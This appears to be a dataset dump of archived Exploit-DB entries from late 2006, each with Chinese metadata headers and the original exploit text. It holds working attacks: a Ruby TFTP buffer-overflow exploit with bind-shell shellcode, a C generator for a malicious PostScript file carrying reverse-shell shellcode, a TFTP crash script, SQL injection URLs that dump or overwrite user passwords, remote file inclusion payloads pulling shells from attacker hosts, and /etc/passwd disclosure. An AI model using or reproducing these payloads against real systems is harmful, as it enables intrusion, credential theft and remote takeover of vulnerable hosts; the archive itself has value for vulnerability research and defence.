QLWD/code_shield huggingface dataset:
标题: 3Com TFTP Service (3CTftpSvc) 2.0.1 - 'Long Transporting Mode' Remote Overflow EDB-ID: 2865 CVE: 2006-6183 类型: REMOTE 平台: WINDOWS 发布日期: 2006-11-30 漏洞利用脚本: # 3comtftpd_xpsp2.rb 
# 
# Copyright (C) cthulhu
#
#
# This is a poc intended to exploit the  3Com TFTP Service version 2.0.1 
# long transporting mode buffer overflow under xp sp2 english 
# (Vulnerability discovered by Liu Qixu)
#
# Usage :
# ruby 3comftpd_xpsp2.rb <victimhost> <victimport>
# Default port is 69 if not specified

require 'socket'

# win32_bind -  EXITFUNC=seh LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com

sc1 = "\x2b\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x02"
sc1 += "\xaf\xbb\x16\x83\xeb\xfc\xe2\xf4\xfe\xc5\x50\x5b\xea\x56\x44\xe9"
sc1 +="\xfd\xcf\x30\x7a\x26\x8b\x30\x53\x3e\x24\xc7\x13\x7a\xae\x54\x9d"
sc1 +="\x4d\xb7\x30\x49\x22\xae\x50\x5f\x89\x9b\x30\x17\xec\x9e\x7b\x8f"
sc1 +="\xae\x2b\x7b\x62\x05\x6e\x71\x1b\x03\x6d\x50\xe2\x39\xfb\x9f\x3e"
sc1 +="\x77\x4a\x30\x49\x26\xae\x50\x70\x89\xa3\xf0\x9d\x5d\xb3\xba\xfd"
sc1 +="\x01\x83\x30\x9f\x6e\x8b\xa7\x77\xc1\x9e\x60\x72\x89\xec\x8b\x9d"
sc1 +="\x42\xa3\x30\x66\x1e\x02\x30\x56\x0a\xf1\xd3\x98\x4c\xa1\x57\x46"
sc1 +="\xfd\x79\xdd\x45\x64\xc7\x88\x24\x6a\xd8\xc8\x24\x5d\xfb\x44\xc6"
sc1 +="\x6a\x64\x56\xea\x39\xff\x44\xc0\x5d\x26\x5e\x70\x83\x42\xb3\x14"
sc1 +="\x57\xc5\xb9\xe9\xd2\xc7\x62\x1f\xf7\x02\xec\xe9\xd4\xfc\xe8\x45"
sc1 +="\x51\xfc\xf8\x45\x41\xfc\x44\xc6\x64\xc7\xaa\x4a\x64\xfc\x32\xf7"
sc1 +="\x97\xc7\x1f\x0c\x72\x68\xec\xe9\xd4\xc5\xab\x47\x57\x50\x6b\x7e"
sc1 +="\xa6\x02\x95\xff\x55\x50\x6d\x45\x57\x50\x6b\x7e\xe7\xe6\x3d\x5f"
sc1 +="\x55\x50\x6d\x46\x56\xfb\xee\xe9\xd2\x3c\xd3\xf1\x7b\x69\xc2\x41"
sc1 +="\xfd\x79\xee\xe9\xd2\xc9\xd1\x72\x64\xc7\xd8\x7b\x8b\x4a\xd1\x46"
sc1 +="\x5b\x86\x77\x9f\xe5\xc5\xff\x9f\xe0\x9e\x7b\xe5\xa8\x51\xf9\x3b"
sc1 +="\xfc\xed\x97\x85\x8f\xd5\x83\xbd\xa9\x04\xd3\x64\xfc\x1c\xad\xe9"
sc1 +="\x77\xeb\x44\xc0\x59\xf8\xe9\x47\x53\xfe\xd1\x17\x53\xfe\xee\x47"
sc1 +="\xfd\x7f\xd3\xbb\xdb\xaa\x75\x45\xfd\x79\xd1\xe9\xfd\x98\x44\xc6"
sc1 +="\x89\xf8\x47\x95\xc6\xcb\x44\xc0\x50\x50\x6b\x7e\xf2\x25\xbf\x49"
sc1 +="\x51\x50\x6d\xe9\xd2\xaf\xbb\x16"

jmp = "\x63\x20\xdc\x77" # jmp esi user32.dll xp sp 2 english

host = ARGV[0]
port = 69

if ARGV[1]
 port = ARGV[1]
end

sock = UDPSocket.new()

puts "[+]Trying to connect to #{host}"
if (not sock.connect(host,port))
 raise "Unable to connect to #{host}"
end

exploit  = "\x00\x02"
exploit += "a"
exploit += "\x00"
exploit += "\x90"* 129 
exploit += sc1 
exploit += jmp
exploit += "\x00"

puts "[+] Connected ... Sending exploit to victim"
sock.send exploit,0

puts "[+] Exploit sended.. Now telnet on port 4444 for your shell"

# milw0rm.com [2006-11-30] URL: https://www.exploit-db.com/exploits/2865
标题: Exhibit Engine 1.22 - 'styles.php' Remote File Inclusion EDB-ID: 2850 CVE: 2006-7183 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-25 漏洞利用脚本: $$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$
$$
$$  Exhibit Engine <= 1.22 (toroot) Remote File Include Vulnerability
$$  Script site: http://photography-on-the.net/ee/
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$              Find by: Kacper (a.k.a Rahim)
$$
$$ Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$  Greetz: DragonHeart, Satan, Leito, Leon, Luzak,
$$           Adam, DeathSpeed, Drzewko, pepi
$$
$$  Specjal greetz: DragonHeart ;-)
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

Expl:

http://www.site.com/[ee_path]/styles.php?toroot=[evil_scripts]

#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-11-25] URL: https://www.exploit-db.com/exploits/2850
标题: Evince Document Viewer - 'DocumentMedia' Remote Buffer Overflow EDB-ID: 2858 CVE: 2006-5864 类型: REMOTE 平台: LINUX 发布日期: 2006-11-28 漏洞利用脚本: /*
 * Creator: K-sPecial (xzziroz.net) of .aware (awarenetwork.org)
 * Name: evince-ps-field-bof.c
 * Date: 11/27/2006
 * Version: 
 *  1.00 - creation
 *
 * Other: this idea originaly came from the bid for the 'gv' buffer overflow (20978), i don't
 *  believe it's known until now that evince is also vulnerable. 
 *
 * Compile: gcc -o epfb evince-ps-field-bof.c -std=c99
*/
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <arpa/inet.h>

// insert shellcode here, i'm not going to implement ip/port changing since
// metasploit's shellcode generation engine does it just fine. i had a picky time
// with the shellcodes, there must be some bad bytes. this shellcode from 
// metasploit works but be SURE to set Encoder=None

/* linux_ia32_reverse -  LHOST=67.76.107.14 LPORT=5555 Size=70 Encoder=None http://metasploit.com */
char cb[] =
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59"
"\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\x43\x4c\x6b\x0e\x66\x68"
"\x15\xb3\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd"
"\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\x89\xe1\xb0\x0b\xcd\x80";

// location of "jmp *%esp"
char jmpesp[] = "\x77\xe7\xff\xff";

int main (int argc, char **argv) {
 FILE *fh;

 if (!(fh = fopen(*(argv+1), "w+b"))) { 
  printf("%s <file.ps>\n\n", *(argv));
  printf("[-] unable to open file '%s' for writing: %s\n", *(argv+1), strerror(errno));
  exit(1);
 }

 fputs("%!PS-Adobe-3.0\n", fh);
 fputs("%%Title: hello.ps\n", fh);
 fputs("%%For: K-sPecial (xzziroz.net) of .aware (awarenetwork.org)\n", fh);
 fputs("%%BoundingBox: 24 24 588 768\n", fh);
 fputs("%%DocumentMedia: ", fh);
 for (int i = 0; i < 100; i++) 
  fputc(0x90, fh);

 fwrite(cb, strlen(cb), 1, fh);

 for (int i = strlen(cb) + 100; i < 273; i++) 
  fputc('A', fh);

 fwrite(jmpesp, 4, 1, fh);
 fwrite("\xe9\x02\xff\xff\xff", 5, 1, fh);

 fputc('\n', fh);

 fputs("%%DocumentData: Clean7Bit\n", fh);
 fputs("%%Orientation: Landscape\n", fh);
 fputs("%%Pages: 1\n", fh);
 fputs("%%PageOrder: Ascend\n", fh);
 fputs("%%+ encoding ISO-8859-1Encoding\n", fh);
 fputs("%%EndComments\n", fh);

 return(0);
}

// milw0rm.com [2006-11-28] URL: https://www.exploit-db.com/exploits/2858
标题: SimpleBlog 2.3 - '/admin/edit.asp' SQL Injection EDB-ID: 2853 CVE: 2006-6191 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-26 漏洞利用脚本: # Title   :  simpleblog <= v 2.3 (/admin/edit.asp) Remote SQL Injection Vulnerability
# Author  :  bolivar
# Dork    :  "SimpleBlog 2.3 by 8pixel.net"

---------------------------------------------------------------------------

http://[target]/[path]/admin/edit.asp?id=-1+union+select+0,uUSERNAME,uPASSWORD,0,0,0,0,0,0+from+t_users

---------------------------------------------------------------------------
# Just for Fun!!

# milw0rm.com [2006-11-26] URL: https://www.exploit-db.com/exploits/2853
标题: Basic Forum 1.1 - 'edit.asp' SQL Injection EDB-ID: 2848 CVE: 2006-6193 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-25 漏洞利用脚本: # Title   :  basicforum v 1.1 (edit.asp) Remote SQL Injection Vulnerability
# Author  :  bolivar
# Dork    :  "This script created by www.script.canavari.com"

---------------------------------------------------------------------------

http://[target]/[path]/edit.asp?type=message&id=-1+union+select+kullanici,sifre+from+uyeler

---------------------------------------------------------------------------
# Just for Fun!!

# milw0rm.com [2006-11-25] URL: https://www.exploit-db.com/exploits/2848
标题: Hacks List phpBB Mod 1.21 - SQL Injection EDB-ID: 2851 CVE: 2006-6216 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-26 漏洞利用脚本: ########################################################################
#  Admin Hacks List  v1.20  Remote SQL Injection Vulnerability
# 
#  Download: http://www.nivisec.com
#
#  Found By: the master
#
########################################################################
#  exploit:
#
# http://[Target]/[Path]/admin/admin_hacks_list.php?mode=edit&hack_id=-99%20UNION%20SELECT%20null,null,user_password,null,null,null,null,null,null,null,null,null%20FROM%20phpbb_users%20Where%20user_id=2&sid=AdminHash
#
# Greetz: str0ke , Dr Max Virus
########################################################################

# milw0rm.com [2006-11-26] URL: https://www.exploit-db.com/exploits/2851
标题: ASP-Nuke Community 1.5 - Cookie Privilege Escalation EDB-ID: 2849 CVE: 2006-7152 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-25 漏洞利用脚本: **************************************************************************************************
# Title  :  ASP-Nuke Community <= v1.5 Cookie Modification Privilege Escalation Vulnerability
# Author :  ajann
# S.Page :  http://www.rot.dk
# D.Page :  http://www.rot.dk/aspnuke/downloads.asp
# Greetz :  Nukedx
**************************************************************************************************

 Cookie
----------

Open the Cookie Editor=>
Find cookie informations.
Change Informations=

Cookie Informations:

ASPNUKE14%5Fpseudoname , pseudoname => "Welcome *USERNAME*" see for
ASPNUKE14%5Fpseudo     , pseudo     =>  Login UserName
ASPNUKE14%5Fpseudoid   , pseudoid   =>  UserId
ASPNUKE14%5Femail      , email      =>  User Email

Save and go to default.asp.


"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-11-25] URL: https://www.exploit-db.com/exploits/2849
标题: 3Com TFTP Service (3CTftpSvc) 2.0.1 - 'Long Transporting Mode' Overflow (PoC) EDB-ID: 2855 CVE: 2006-6183 类型: DOS 平台: WINDOWS 发布日期: 2006-11-27 漏洞利用脚本: #!/usr/bin/python
# Buffer Overflow (Long transporting mode) Vulnerability Exploit
# This is just a DoS exploiting code
# Tested on Windows xp SP2
#
# Requires python and impacket
#
# Coded by Liu Qixu Of NCNIPC

# SUMMARY:

# 3CTftpSvc TFTP Server is a Freeware TFTP server for Windows 9x/NT/XP.
# (http://support.3com.com/software/utilities_for_windows_32_bit.htm
# or ftp://ftp.3com.com/pub/utilbin/win32/3CTftpSvc.zip)
# It provides an implementation of the TFTPv2 protocol.

# A vulnerability has been identified in 3CTftpSvc TFTP Server, which could be exploited by attackers 
# to execute arbitrary commands or cause a denial of service. This flaw is 
# due to a buffer overflow error when handling an overly long transporting 
# mode (more than 470 bytes) passed to a "GET" or "PUT" command, which could 
# be exploited by malicious users to compromise a vulnerable system or crash 
# an affected application.

# EXPLOIT:

import socket
import sys

host = '192.168.1.11'
port = 69

try:
   s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
   print "socket() failed"
   sys.exit(1)

filename = "A"
mode = "netascii" + "A" * 469
da = "\x00\x02" + filename + "\0" + mode + "\0"
s.sendto(da, (host, port))

# milw0rm.com [2006-11-27] URL: https://www.exploit-db.com/exploits/2855
标题: Mambo Component com_flyspray < 1.0.1 - Remote File Disclosure EDB-ID: 2852 CVE: 2006-6203 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-26 漏洞利用脚本: _____         __  __             __      ___
|  __ \       |  \/  |            \ \    / (_)
| |  | |_ __  | \  / | __ ___  __  \ \  / / _ _ __ _   _ ___
| |  | | '__| | |\/| |/ _` \ \/ /   \ \/ / | | '__| | | / __|
| |__| | |    | |  | | (_| |>  <     \  /  | | |  | |_| \__ \
|_____/|_|    |_|  |_|\__,_/_/\_\     \/   |_|_|   \__,_|___/


*****************************************************************************************************************************
Compononent name:com_flyspray
Affected Version:1.0.1
d.page:http://mamboxchange.com/frs/download.php/8304/com_flyspray_1.0.1.zip
*****************************************************************************************************************************
Authour: Dr Max Virus
Location:Egypt
*****************************************************************************************************************************
Bug in :startdown.php
Vul Code:
In Line 52:
readfile($file);
Problem:The variable of file not sanitized So u can read any file on server
and also config file
*****************************************************************************************************************************
POC:

http://[target]/[joomla_path]/components/com_flyspray/startdown.php?file=config.inc.php
http://[target]/[joomla_path]/components/com_flyspray/startdown.php?file=../../../../../etc/passwd%00
*****************************************************************************************************************************
Thx To:str0ke & Nukedx & Thehacker & All My Friends
Special Gr33Ts:ASIANEAGLE & The Master &Kacper
****************************************************************************************************************************

# milw0rm.com [2006-11-26] URL: https://www.exploit-db.com/exploits/2852
标题: Sisfo Kampus 0.8 - Remote File Inclusion / Download EDB-ID: 2847 CVE: 2006-6140 2006-6138 2006-6137 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-25 漏洞利用脚本: #       Source Code = Sisfokampus 0.8
#
#       Website = www.Sisfokampus.net
#
#       Author = E. Setio Dewo (setio_dewo@telkom.net)
#
#       Dorkz : Allinurl: /index.php?exec=


#       File Vuln :     index.php
#                       print.php
#                       download.php ( Local File Include )
#
#       Found by :      Wawan Firmansyah a.k.a Ang|n
                        angkaramurka2003@yahoo.com

###############################################################################

# Source of index.php

       -------------------------[Line 27]-----------------------------
       <?php
          if ($exec=='main.php' && file_exists("$themedir/main.php"))
               include "$themedir/main.php";
               else include $exec;
       ?>
       -------------------------[Line 31]------------------------------

# Source Of print.php

       -------------------------[Line 15]------------------------------
       <?php
       include_once "sysfo/sysfo.common.php";

       if (isset($_REQUEST['print'])) {
       $print = $_REQUEST['print'];
       include "$print";
       }
       else die (DisplayHeader($fmtErrorMsg, $strNoDataTobePrint));

       include "disconnectdb.php";
       ?>
       -------------------------[Line 25]-------------------------------

# Source Of download.php

       -------------------------[Line 1]--------------------------------
       <?php
       DisplayHeader($fmtPageTitle, $strDownload);
       include "lib/file.common.php";
       if (isset($_REQUEST['dir'])) $dir = $_REQUEST['dir'];
       else $dir = $Download_dir;
       if (substr($dir, -1) != '/' && substr($dir, -1) != '\\') $dir = "$dir/";
       DisplayDownloadDir($dir);
       ?>
       -------------------------[Line 8]--------------------------------

##################################################################################

# Exploit of index.php

       http://www.victim.com/index.php?exec=http://attacker.com/evilcode.txt?

# Exploit of print.php
       http://www.victim.com/print.php?print=http://attacker.com/evilcode.txt?
       or
       http://www.victim.com/index.php?exec=print&print=http://attacker.com/evilcode.txt?

# Exploit of download.php

       http://www.victim.com/index.php?exec=download&dir=/etc/passwd

##################################################################################

Greatz :
       K-159 ( Thanks for ur Support & Advice )
       #cyberbox community in dal.net
       #indolinux in dal.net
       #edp in dal.net

##################################################################################

# milw0rm.com [2006-11-25] URL: https://www.exploit-db.com/exploits/2847
标题: PEGames - 'index.php' Remote File Inclusion EDB-ID: 2840 CVE: 2006-6213 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-23 漏洞利用脚本: **********************************************************************************************************
                                              WwW.Deltahacking.NeT (Priv8  Site)
                                              WwW.Deltahacking.Ir    (Public Site)
**********************************************************************************************************

* Portal Name : PEGames

* Class = Remote File Inclusion ;
 
* Download =http://ovh.dl.sourceforge.net/sourceforge/gamespe/PEGames.zip

* Found by = DeltahackingTEAM

* User In Delta Team (Dr.Pantagon )

* With the special  thanks of my financial sponser Tanha
----------------------------------------------------------------------------------------------------------
- Vulnerable Code

include_once("$abs_url/display.php");
++++++++++++++++++++++++++++++++++++++++++++

- Exploit:

    http://[target]/[path]/Index.php?abs_url=http://evilsite.com/shell?

***********************
I LOVE YOU G.Malake
***********************
----------------------------------------------------------------------------------------------------------
Greetz:Tanha, Dr.Trojan , Hiv++ , D_7j ,Vpc

# milw0rm.com [2006-11-23] URL: https://www.exploit-db.com/exploits/2840
标题: JiRos FAQ Manager 1.0 - 'index.asp' SQL Injection EDB-ID: 2836 CVE: 2006-6149 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-23 漏洞利用脚本: *******************************************************************************
# Title   :  JiRo´s FAQ Manager v1.0 (index.asp) Remote SQL Injection Vulnerability
# Author  :   ajann
# Contact :   :(

*******************************************************************************

###http://[target]/[path]//index.asp?tID=[SQL]

Example:

//index.asp?tID=-1%20union%20select%200,uPassword,0,0,0,0,0,0,0,0,0,0,0,0%20from%20JFS_tblusers%20where%20no%20like%200
//index.asp?tID=-1%20union%20select%200,uName,0,0,0,0,0,0,0,0,0,0,0,0%20from%20JFS_tblusers%20where%20no%20like%200


"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-11-23] URL: https://www.exploit-db.com/exploits/2836
标题: Wallpaper Complete Website 1.0.09 - SQL Injection EDB-ID: 2835 CVE: 2006-6214 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-23 漏洞利用脚本: *************************************************************************************************************************#
                                                                                #
                      Coding 4 Fun            # 
                                                    #
*************************************************************************************************************************#
                  #
* Wallpaper Complete Website  1.0.09  (http://www.easysitenetwork.com/modules.php?name=Content&pa=showpage&pid=7) ;   #
                  # 
* Class = SQL Injection ;               #
                     #
* Download = http://www.easysitenetwork.com/modules.php?name=Downloads&d_op=getit&lid=8 ;     #
                  #
* Found by = GregStar (gregstar[at]c4f[dot]pl) (http://c4f.pl) ;                 #
                    #
-------------------------------------------------------------------------------------------------------------------------#
                  #
                  #
- PoC:                         #
                  #
http://[target]/[path]/wallpaper.php?wallpaperid=1%20UNION%20SELECT%20login,0,0,0,0,password%20FROM%20users%20/*   #
                #
                #
*************************************************************************************************************************#                   
Gr33tz:  sASAn,marcel3miasto,masS,kaziq,Abi,kociaq,SlashBeast,chochlik,rfl,d3m0n,java,reyw,kw@ch.      #
                         #
*************************************************************************************************************************#

# milw0rm.com [2006-11-23] URL: https://www.exploit-db.com/exploits/2835
标题: OWLLib 1.0 - 'OWLMemoryProperty.php' Remote File Inclusion EDB-ID: 2839 CVE: 2006-6150 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-23 漏洞利用脚本: **********************************************************************************************************
                                              WwW.Deltahacking.NeT (Priv8  Site)
                                              WwW.Deltahacking.Ir    (Public Site)
**********************************************************************************************************

* Portal Name : owllib-src-1.0

* Class = Remote File Inclusion ;
 
* Download =http://heanet.dl.sourceforge.net/sourceforge/phpowllib/owllib-src-1.0.zip

* Found by = DeltahackingTEAM

* User In Delta Team (Dr.Pantagon )

* With the special  thanks of my financial sponser Tanha
----------------------------------------------------------------------------------------------------------
- Vulnerable Code

require_once "$OWLLIB_ROOT/OWLProperty.php";
require_once "$OWLLIB_ROOT/memory/OWLMemoryClass.php";
++++++++++++++++++++++++++++++++++++++++++++

- Exploit:

    http://[target]/[path]/owllib/memory/OWLMemoryProperty.php?OWLLIB_ROOT=http://evilsite.com/shell?

***********************
I LOVE YOU G.Malake
***********************
----------------------------------------------------------------------------------------------------------
Greetz:Tanha, Dr.Trojan , Hiv++ , D_7j ,Vpc

# milw0rm.com [2006-11-23] URL: https://www.exploit-db.com/exploits/2839
标题: Liberum Help Desk 0.97.3 - SQL Injection EDB-ID: 2846 CVE: 2006-6160 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-25 漏洞利用脚本: *******************************************************************************
# Title   :  Liberum Help Desk <= 0.97.3 (details.asp) Remote SQL Injection Vulnerability
# Author  :   ajann
# Contact :   :(
# Dork    :  "Liberum Help Desk, Copyright (C) 2001 Doug Luxem. Please view the license

*******************************************************************************

###http://[target]/[path]//details.asp?id=[SQL]

Example:

//details.asp?id=2)%20update%20tblusers%20set%20password='kro'--

=> All Password Changed to "kro"

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-11-25] URL: https://www.exploit-db.com/exploits/2846